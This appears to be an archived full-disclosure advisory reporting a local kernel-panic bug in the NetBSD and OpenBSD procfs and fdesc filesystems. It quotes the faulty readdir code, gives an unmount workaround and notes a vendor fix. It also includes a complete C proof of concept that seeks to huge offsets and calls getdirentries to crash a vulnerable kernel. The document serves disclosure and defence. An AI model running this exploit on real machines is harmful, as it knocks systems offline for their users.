`Subject: serious problem in netbsd/openbsd procfs/fdesc
To: [email protected]
Greetings.
I have found a nasty bug in the fdesc and procfs filesystems included with
NetBSD and OpenBSD. Any user with access to a mounted procfs/fdesc
filesystem has the ability to cause a kernel panic.
The problem is that the readdir vnodeop for both procfs and fdesc blindly uses
the value of element uio_index of the struct uio (passed in by VOP_READDIR())
as an index into an array, without first properly checking its size.
sys_getdirentries(), which calls VOP_READDIR(), sets uio_index to the open
file's f_offset, which is modified by lseek (among other things).
Here's an illustration, taken from procfs_readdir() in OpenBSD's
procfs_vnops.c:
if (uio->uio_resid < UIO_MX)
return (EINVAL);
if (uio->uio_offset < 0)
return (EINVAL);
error = 0;
i = uio->uio_offset;
[...]
for (pt = &proc_targets[i];
uio->uio_resid >= UIO_MX && i < nproc_targets; pt++, i++) {
if (pt->pt_valid && (*pt->pt_valid)(p) == 0)
continue;
One way for a user to take advantage of this problem is as follows: a user
opens either a process-specific subdirectory (in the case of procfs) or the
root directory (in the case of fdesc). The user then sets the file offset
to an unreasonably large (positive) number with lseek(). The user then calls
getdirentries().
A temporary solution is to unmount all instances of procfs and fdesc. This
is not likely to detrimentally affect anything.
Here's example code that tries getdirentries() calls on directories after
lseek()ing to high offsets.
(warning: if your system is vulnerable, this is very likely to cause a kernel
panic)
--- cut here ---
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <dirent.h>
main(int argc, char *argv[]) {
int dirfd;
unsigned long basep;
unsigned long hmm;
char buf[2048];
if(argc < 2) {
fprintf(stderr, "usage: %s directory\n", argv[0]);
exit(1);
}
if((dirfd = open(argv[1], O_RDONLY)) == -1) {
perror("open");
exit(1);
}
for(hmm = 0xf0000000; hmm <= 0xffffffff; hmm+=1) {
if(lseek(dirfd, hmm, SEEK_SET) == -1) {
perror("lseek");
exit(1);
}
/* address won't effectively change, but index variable used as a test
* will be very large; kernel's loop should continue and break
* something
*/
if(getdirentries(dirfd, buf, 2048, &basep) == -1) {
perror("getdirentries");
exit(1);
}
}
exit(0);
}
--- cut here ---
This problem has existed since at least as far back as OpenBSD 2.3 and NetBSD
1.3.2.
Both NetBSD and OpenBSD have been contacted about this. This has been fixed
in the current OpenBSD tree and should soon be able from your nearest anoncvs
server. Thanks to [email protected] for a quick response.
--
<[email protected]>
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation